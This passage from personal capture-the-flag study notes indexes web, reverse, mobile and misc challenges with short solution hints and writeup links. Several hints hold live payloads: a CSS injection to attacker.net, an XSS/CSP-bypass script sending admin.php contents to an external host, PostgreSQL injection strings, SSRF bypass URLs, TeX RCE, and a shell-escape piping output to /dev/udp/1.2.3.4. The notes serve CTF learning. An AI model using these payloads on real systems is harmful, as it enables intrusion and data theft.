1933https://github.com/chamli/Write_Up_Ctf/blob/master/CTFZone%202017/Mr.Future%20President%20Blog.md
1934
1935* blog - hitb-ctf-singapore-2017
1936GraphQL injection / SQLite
1937https://tsublogs.wordpress.com/2017/08/25/hitb-ctf-singapore-2017-web-512-blog/
1938
1939* h4ck3rm1nd - h4ckit-ctf-2017
1940chars < and > filtered out, use bbcode [color="test;} * {background: url('http://attacker.net/test')"]a[/color] to do css injection
1941https://rioru.github.io/ctf/web/2017/08/27/ctf-writeup-hackit-2017-web200.html
1942
1943* b3tters0ci4ln3twork - h4ckit-ctf-2017
1944wget < 1.18 vuln to extension check via race condition CVE-2016-7098
1945https://ctftime.org/task/4520
1946
1947* clock - mma-ctf-2017
1948use history.pushState() to set off xss via the Referer: header
1949use WebRTC to detect local IP to bypass local IP restriction
1950https://blog.tyage.net/?p=1043
1951
1952* super secure storage - mma-ctf-2017
1953server doesn't check JSON parameter is a string so we can pass an array to guess length and value of the encryption key
1954http://corb3nik.github.io/blog/tokyo-westerns-2017/super-secure-storage
1955
1956* funtimejs 2 - csaw-ctf-2017
1957web server runs user code in javascript vm, use fs module to read flag file
1958console.log(require('fs').readFileSync('flag.txt').toString());
1959
1960* not my cup of coffee - csaw-ctf-2017
1961send serialized Java Bean object with a parent set to the Flag bean
1962https://blog.ankursundara.com/csaw-ctf-quals-2017-not-my-cup-of-coffee/
1963
1964* shia labeouf off - csaw-ctf-2017
1965django custom template filter tags and ssti
1966https://teamrocketist.github.io/2017/09/17/Web-CSAW-Shia-Labeouf-off/
1967
1968* silkroad - ekoparty-ctf-2017
1969HTTPoxy + proxy.py mitm
1970https://jbzteam.github.io/web/EkoPartyCTF2017-silkroad
1971
1972* my first app - ekoparty-ctf-2017
1973/getflag -> 403 but /index.php same as /index.php/ suggests mod_rewrite regex rules, bypass with /index.php/getflag
1974https://github.com/p4-team/ctf/tree/master/2017-09-17-ekoparty/my_first_app_web
1975
1976* dark market - sect-ctf-2017
1977graphql
1978https://github.com/reznok/CTFWriteUps/tree/master/SEC-T_2017/DarkMarket
1979
1980* httpbin - defcamp-2017
1981create a hostname with 2 A records (1.2.3.4 and 127.0.0.1) to bypass check that input hostname doesnt resolve to localhost
1982send redis commands to upload webshell
1983https://dciets.com/writeups/2017/10/04/dctf-secure-httpbin/
1984
1985* dctf llc - defcamp-2017
1986xss & bypass CSP that allows script-src 'self' by uploading a GIF file with:
1987GIF89a='MUMBOJUMBOBOGUSBACON';var r=new XMLHttpRequest();r.open("GET","admin.php",false);r.send();document.location="http://./?r="+btoa(r.responseText);
1988https://steemit.com/ctf/@maniffin/defcamp-ctf-quals-2017-llc-webchall-writeup
1989
1990* dnssosecure - hack-lu-ctf-2017
1991configure a BIND server with DNSSEC to returned a signed A record
1992https://github.com/packdesys/ctf-writeups/tree/master/hacklu-2017/dnssosecure
1993
1994* criminals - pwn2win-ctf-2017
1995HQL + pgsql, use query_to_xml('<arbitrary sql>') to execute subquery
1996array_upper(xpath('row',query_to_xml('select cast(pg_ls_dir(CHR(46))as int)',true,false,'')),1) returns pg_xlog in error msg
1997array_upper(xpath('row',query_to_xml('select cast(pg_ls_dir((SELECT column_name||CHR(44)||table_name FROM information_schema.columns c limit 1 offset 0)) as int)',true, false,'')),1)
1998https://teamrocketist.github.io/2017/10/24/Web-Pwn2Win-Criminals/
1999
2000* blackbox pentesting - pwn2win-ctf-2017
2001xss to make admin post second xss to parent domain to retrieve cookie with flag (admin runs first xss from sandbox.bloodsuckers.world, but cookie is in bloodsuckers.world)
2002use multiple username input fields to bypass 12-char server-side limit
2003https://github.com/RapaceDiabolique/ctf_writeup/blob/master/Pwn2Win%20CTF%202017/BlackBox%20Pentesting.md
2004
2005* sqlsrf - seccon-ctf-2017
2006wget bug, use newlines to append smtp commands through the Host: header and cross protocol talk to smtp server
2007https://github.com/p4-team/ctf/tree/master/2017-12-09-seccon-quals/web_sqlsrf
2008
2009* extract0r - 34c3ctf-2017
2010upload zip containing a symlink using .blah to bypass filter and browse server's filesystem
2011ssrf + parse_url bypass using http://foo@localhost:foo@google.com:3306/ or http://foo@[cafebabe.cf]@google.com:3306/
2012use gopher:// and craft url to retrieve flag from mysql db
2013https://github.com/eboda/34c3ctf/tree/master/extract0r
2014
2015* urlstorage - 34c3ctf-2017
2016RPO and css seletor to bf admin token and retrieve flag
2017https://l4w.io/2017/12/34c3-ctf-2017-urlstorage-writeup/
2018
2019# }}}
2020
2021# reverse {{{
2022* chrono logical - codegate-preliminary-2014
2023disable timeout in select with setarch -T
2024http://www.blue-lotus.net/2014-02-25-codegate-ctf-quals-2014-chrono-writeup/
2025
2026* reverve100 - volga-quals-2014
2027maze solved with btree algo
2028http://singularityctf.blogspot.com.au/2014/03/volgactf-quals-2014-writeup-reverse-100.html
2029
2030* exploit100 - volga-quals-2014
2031password value enumeration
2032
2033* big momma - nuit-du-hack-ctf-qualifications 2014
2034username/password enumeration
2035server returns strcmp return value between our input and the correct username
2036
2037* rubiks cube - internetwache-ctf-2016
2038https://www.xil.se/post/internetwache-2016-rev90-rspkt/
2039
2040* file checker = internetwache-ctf-2016
2041great use of angr (https://github.com/angr/angr-doc/blob/master/examples.md)
2042https://github.com/ctfs/write-ups-2016/tree/master/internetwache-ctf-2016/reversing/file-checker-60
2043
2044* peoples square - 0ctf-2016
2045attack on aes with 4 rounds instead of 10
2046https://github.com/p4-team/ctf/tree/master/2016-03-12-0ctf/peoples_square
2047
2048* matriochka - nuitduhack-quals-2016
2049boot vm on gparted iso to copy mbr to disk, then remote gdb of vmware vm
2050https://securite.intrinsec.com/2016/04/03/write-up-nuit-du-hack-2016-ctf-quals-matriochka-step-4/
2051
2052* three magic - asis-ctf-2016
2053command injection with restricted chars, use {grep,-nrw,.} to leak src
2054recover seed of php mt_rand() within 3 minutes with http://www.openwall.com/php_mt_seed/
2055https://thegoonies.rocks/asis-ctf-three-magic-web/
2056
2057* binarycloud - asis-ctf-2016
2058php7 opcache and using http://vulnsite.com///upload.php?blacklistedword to bypass parse_url() (returns false)
2059https://github.com/ctfs/write-ups-2016/tree/master/asis-ctf-quals-2016/web/binary-cloud-153
2060
2061# }}}
2062
2063# mobile {{{
2064* state of the ART - 0ctf-2016
2065reconstruct Dalvik bytecode from OAT binary
2066http://reyammer.blogspot.com.au/2016/03/from-android-art-binary-only-to-dex-yes.html
2067
2068* ill intentions - google-ctf-2016
2069send broadcast intent to app, receive reply containing flag
2070instead of reversing jni lib, send broadcast using adb and patch app (https://github.com/dpox/ctfs/blob/master/googlectf2016/IllIntentions.md) or write custom app to receive and log reply (https://ctf.rip/googlectf-2016-ill-intentions-mobile-challenge/)
2071can also use Xposed hooks (http://blog.squareroots.de/en/2016/05/google-ctf-2016-ill-intentions-mobile/) 
2072
2073* little bobby - google-ctf-2016
2074write apk to exploit blind sqli
2075https://github.com/yohanes/write-ups/tree/master/google-ctf/mobile-little-bobby-application
2076# }}}
2077
2078# misc {{{
2079* gunslinger - hack-lu-ctf-2014
2080restricted bash shell (no alpha chars allowed)
2081bypass with encoding cat in octal: $'\143\141\164'
2082https://github.com/ctfs/write-ups-2014/tree/master/hack-lu-ctf-2014/gunslinger-joes-private-terminal
2083
2084* binary karuta - seccon-ctf-2014
2085solution by building and training a Naive Bayes Classifier
2086https://github.com/ctfs/write-ups-2014/tree/master/seccon-ctf-2014/binary-karuta
2087
2088* bar codes - internetwache-ctf-2016
2089https://github.com/ctfs/write-ups-2016/tree/master/internetwache-ctf-2016/misc/barparty-90
2090
2091* dark forest - internetwache-ctf-2016
2092binary tree
2093https://github.com/ctfs/write-ups-2016/tree/master/internetwache-ctf-2016/code/dark-forest-90
2094
2095* texmaker - internetwache-ctf-2016
2096web interface creates pdf files using pdfTeX
2097in TeX we can RCE with operation \immediate\write18{ls}
2098another way was to just include the flag file, there many ways to do this
2099https://github.com/ctfs/write-ups-2016/tree/master/internetwache-ctf-2016/web/texmaker-90
2100https://0day.work/hacking-with-latex/
2101
2102* hsab - bctf-2016
2103restricted bash shell with no binaries but with ctypes.sh of Taviso (builtins=([0]="callback" [1]="dlcall" etc. in set's output)
2104solution alternative: history -r /home/ctf/flag.ray; history
2105https://ctf.rip/bctf-2016-hsab-misc-category-challenge/
2106https://github.com/QuokkaLight/write-ups/blob/master/bctf-2016/hsab.md (pow in C)
2107
2108* smartcat3 - insomnihack-ctf-2016
2109rce but can't do spaces or some specials
2110<(ls>/dev/udp/1.2.3.4/53)
2111<({base64,-d,KGVjaG8gIkdpdmUgbWUgYS4uLiI7IHNsZWVwIDI7IGVjaG8gIi4uLiBmbGFnISIpIHwgL3JlYWRfZmxhZyBmbGFn}>/tmp/t.sh
2112<({bash,/tmp/t.sh}>/dev/udp/1.2.3.4/53)
2113https://github.com/hexpresso/WU-2016/tree/master/insomnihack-ctf-2016/misc/Smartcat3
2114https://github.com/p4-team/ctf/tree/master/2016-03-18-insomnihack-final/web_smartcat3 (read_flag in python)
2115
2116* amazing - volga-ctf-quals-2016
2117maze btree
2118https://github.com/EspacioTeam/write-ups/blob/master/2016/volga/Amazing/README.md
2119
2120* yacst2 - volga-ctf-quals-2016
2121solved audio captcha with google speach recognition
2122https://github.com/p4-team/ctf/tree/master/2016-03-26-volga2016-quals/yacs2
2123
2124* unblink - sctf-2016
2125decode msg from LEDs
2126https://0x90r00t.com/2016/04/17/sctf-2016-code-100-unblink-write-up/
2127
2128* misc robots - insomnihack-ctf-2016
2129lisp program, rce by submitting: #.(run-shell-command "ls")
2130https://github.com/p4-team/ctf/tree/master/2016-03-18-insomnihack-final/misc_robots
2131
2132* smartips - insomnihack-ctf-2016
2133simple shell command injection but server sends RST, ACK which we need to drop to be able to continue communication
2134iptables -A INPUT -p TCP --tcp-flags ALL RST,ACK -s 10.13.39.30 -j DROP
2135https://github.com/hexpresso/WU-2016/tree/master/insomnihack-ctf-2016/network/Smartips
2136
2137* hackvent-2015
2138lots of qr codes
2139https://github.com/shiltemann/CTF-writeups-public/blob/master/Hackvent_2015/writeup.md
2140
2141* regexpire - csaw-ctf-2016
2142solve regexes
2143https://github.com/p4-team/ctf/tree/master/2016-09-16-csaw/regexpire
2144
2145* yaar haar fiddle dee dee - csaw-ctf-2016
2146opencv haar cascade
2147https://github.com/krx/CTF-Writeups/tree/master/CSAW%2016%20Quals/for150%20-%20Yaar%20Haar%20Fiddle%20Dee%20Dee
2148
2149* smartips - insomnihack-ctf-2016
2150server continues communication even after sending us RST ACK so drop them with
2151iptables -A INPUT -p TCP --tcp-flags ALL RST,ACK -s 10.13.39.30 -j DROP
2152https://github.com/hexpresso/WU-2016/tree/master/insomnihack-ctf-2016/network/Smartips
2153
2154* jareCaptcha - sharif-ctf-2016
2155sudoku solver and captcha bypass (reuse same captcha cookie id)
2156https://github.com/p4-team/ctf/blob/master/2016-12-16-sharifctf7/web_200_jareCaptcha/README.md
2157
2158* old schoold - kaspersky-ctf-2017
2159NES game, use FCEUX emulator to debug and patch
2160http://www.codehead.co.uk/klctf2017-oldschool/
2161
2162# }}}
2163
2164# done (but skipped pwn & reverse tasks) {{{
2165* pico-ctf-2013
2166* boston-key-party-2014
2167* codegate-preliminary-2014
2168* confidence-ds-ctf-teaser-2014
2169* d-ctf-2014
2170* asis-ctf-quals-2014
2171* 9447-ctf-2014
2172* 31c3-ctf-2014
2173* defcon-ctf-qualifier-2014
2174* ectf-2014
2175* ghost-in-the-shellcode-2014
2176* hack-lu-ctf-2014
2177* hack-you-2014
2178* hitcon-ctf-2014
2179* ncn-ctf-2014
2180* ncn-ctf-quals-2014
2181* olympic-ctf-2014
2182* phdays-2014-{quals,finals}
2183* pwnium-ctf-2014
2184* qiwi-ctf-2014
2185* ructf-2014-quals
2186* seccon-ctf-2014
2187* secuinside-ctf-prequal-2014
2188* 0ctf-2015
2189* 32c3-ctf-2015 (itd pas compris)
2190* 9447-ctf-2015 (ffmpeg 0day https://news.ycombinator.com/item?id=10893301 http://seclists.org/oss-sec/2016/q1/91)
2191* asis-finals-ctf-2015
2192* asis-quals-ctf-2015
2193* backdoor-ctf-2015 javascript and clojure sandbox escapes
2194* bctf-2015
2195* boston-key-party-2015
2196* breakin-ctf-2015
2197* bsides-vancouver-ctf-2015
2198* camp-ctf-2015
2199* codegate-ctf-2015
2200* confidence-ctf-teaser-2015
2201* csaw-ctf-2015
2202* csaw-finals-ctf-2015
2203* cyber-security-challenge-2015
2204* dctf-2015
2205* defcon-quals-2015 todo
2206* easy-ctf-2015 do the exploits
2207* ekoparty-ctf-2015
2208* ekoparty-pre-ctf-2015
2209* ghost-in-the-shellcode-2015
2210* hack-dat-kiwi-ctf-2015
2211* hack-lu-ctf-2015
2212* hackcon-2015
2213* hackover-ctf-2015
2214* haxdump-ctf-2015
2215* hitcon-ctf-quals-2015
2216* icectf-2015
2217* insomnihack-2015 no writeups but sources at https://github.com/Insomnihack/Insomnihack-2015
2218* mma-ctf-2015
2219* nuit-du-hack-ctf-quals-2015
2220* nullcom-hackim-2015
2221* opentoall-ctf-2015
2222* plaidctf-2015
2223* polictf-2015
2224* pragyan-ctf-2015
2225* rctf-quals-2015 no writeups
2226* ructfe-ad-2015 no writeups
2227* sctf-2015
2228* school-ctf-2015 no eng writeups
2229* school-ctf-winter-2015
2230* seccon-quals-ctf-2015
2231* securinets-ctf-2015 many missing writeups
2232* stem-ctf-2015
2233* th3jackers-ctf-2015/
2234* thailand-ctf-2015 no writeups
2235* trend-micro-ctf-2015
2236* volgactf-quals-2015
2237* 0ctf-2016
2238* alictf-2016
2239* angstromctf-2016
2240* asis-ctf-2016
2241* asis-ctf-quals-2016
2242* backdoor-ctf-2016
2243* bctf-2016
2244* bioterra-ctf-2016
2245* blaze-ctf-2016
2246* boston-key-party-2016
2247* breakin-ctf-2016
2248* codegate-ctf-2016
2249* csaw-ctf-2016
2250* ctfx-2016
2251* cyber-security-challenge-belgium-2016-qualifiers
2252* def-con-ctf-qualifiers-2016 skipped
2253* defcamp-2016
2254* ectf-2016
2255* ekoparty-ctf-2016
2256* google-ctf-2016
2257* h4ckit-ctf-2016
2258* hack-the-vote-ctf-2016
2259* hack.lu-ctf-2016
2260* hackover-ctf-2016
2261* hitb-ctf-amsterdam-2016
2262* hitcon-ctf-quals-2016
2263* icectf-2016
2264* insomnihack-ctf-2016
2265* insomnihack-teaser-2016
2266* mma-ctf-2nd-2016
2267* nuitduhack-quals-2016
2268* nullcon-hackim-2016
2269* open-ctf-2016
2270* pentest-cyprus-2
2271* plaidctf-2016
2272* pwn2win-ctf-2016
2273* sctf-2016-q1
2274* seccon-ctf-quals-2016
2275* secuinside-ctf-quals-2016
2276* securinets-ctf-quals-2016
2277* security-fest-2016
2278* sharif-ctf-2016
2279* ssctf-2016
2280* su-ctf-2016
2281* teaser-confidence-ctf-2016
2282* tjctf-2016
2283* tu-ctf-2016
2284* tum-ctf-2016
2285* insomnihack-teaser-2017
2286* breakin-ctf-2017
2287* alexctf-2017
2288* bitsctf-2017
2289* nullcon-hackim-2017
2290* bsides-sanfransisco-ctf-2017
2291* boston-key-party-2017
2292* 0ctf-2017
2293* volga-ctf-quals-2017
2294* insomnihack-ctf-2017
2295* pico-ctf-2017
2296* nuitduhack-quals-2017
2297* asis-ctf-quals-2017
2298* plaidctf-2017
2299* uiuctf-2017
2300* rctf-2017
2301* sctf-2017
2302* google-ctf-2017
2303* secuinside-ctf-quals-2017
2304* polictf-2017
2305* meepwn-ctf-2017
2306* ctfzone-2017
2307* asis-ctf-2017
2308* sect-ctf-2017
2309* csaw-ctf-2017
2310* ekoparty-ctf-2017
2311* backdoor-ctf-2017
2312* defcamp-2017
2313* hack.lu-ctf-2017
2314* pwn2win-ctf-2017
2315* kaspersky-ctf-2017
2316* hitcon-ctf-quals-2017
2317* codeblue-ctf-2017
2318* tu-ctf-2017
2319* seccon-ctf-2017
2320* 3dsctf-2017
2321* 34c3ctf-2017
2322# }}}
2323
2324# to do {{{
2325* moar
2326https://github.com/abpolym/route2ctf/ # keywords <=> writeup mappings
2327https://github.com/apsdehal/awesome-ctf
2328https://github.com/zardus/ctf-tools http://www.kitploit.com/2016/03/ctf-tools-some-setup-scripts-for.html
2329https://github.com/VulnHub/ctf-writeups
2330https://github.com/pwning/public-writeup // see writeups by Robert Xiao (@nneonneo) the PPP crpyto guy?
2331https://github.com/smokeleeteveryday/CTF_WRITEUPS
2332https://github.com/ispoleet/ctf-writeups bo1lers
2333https://github.com/73696e65/ctf-notes
2334
2335* challenges still online
2336https://backdoor.sdslabs.co/challenges
2337
2338* all past writeups
2339csaw: https://github.com/isislab/ (was https://ctf.isis.poly.edu/writeups/)
2340ndh and volgactf: http://sigint.ru/writeups/
2341
2342* blogs
2343https://w00tsec.blogspot.com.au/ https://github.com/bmaia/
2344CaptureTheSwag https://ctf.rip/ https://github.com/sourcekris/ctf-solutions
2345InternetWache https://0day.work/
2346Tasteless http://tasteless.eu/
2347LC!BC http://mslc.ctf.su/ More Smoked Leet Chicken (leetmore.ctf.su + smokedchicken.org) (now merged with BalalaikaCr3w as LC!BC)
2348BalalaikaCr3w https://ctfcrew.org/
2349Fourchette Bombe https://github.com/JulesDT http://0xecute.com/
2350khack40 http://khack40.info/
2351Raccoons https://github.com/raccoons-team/ctf/
2352Eat Sleep Pwn Repeat https://kitctf.de/
2353kt (ex SpamAndHex! captain) https://kt.pe/blog/
2354
2355* crypto
2356https://www.cryptologie.net/article/435/best-crypto-blog-posts-of-2017/
2357https://grocid.net https://github.com/grocid/CTF
2358https://grocid.net/2016/08/11/solving-problems-with-lattice-reduction/ explains lcg, crt, lattice reduction
2359https://github.com/SideChannelMarvels/Deadpool (crypto)
2360
2361* web
2362https://github.com/orangetw/My-CTF-Web-Challenges
2363
2364* exploit
2365http://blog.rewolf.pl/blog/?p=1563
2366
2367* flare-on 2015
2368http://acidshout.github.io/
2369
2370* pillow - secuinside-ctf-prequal-2014
2371https://github.com/ctfs/write-ups-2014/tree/master/secuinside-ctf-prequal-2014/pillow
2372
2373* harry-potter - plaid-ctf-2014
2374http://eindbazen.net/2014/04/plaidctf-2014-harry_potter-300/
2375
2376* kappa - plaid-ctf-2014
2377http://eindbazen.net/2014/04/plaidctf-2014-kappa-275/
2378https://blog.skullsecurity.org/2014/plaidctf-writeup-for-pwn-275-kappa-type-confusion-vuln
2379
2380* graphs - plaid-ctf-2014
2381https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/graphs
2382
2383* wheeeee - plaid-ctf-2014
2384slide attack
2385https://github.com/ctfs/write-ups-2014/tree/master/plaid-ctf-2014/wheeeee
2386
2387* guess - hitcon-ctf-quals-2015
2388https://github.com/pwning/public-writeup/blob/master/hitcon2015/crypto300-guess/writeup.md
2389
2390# }}}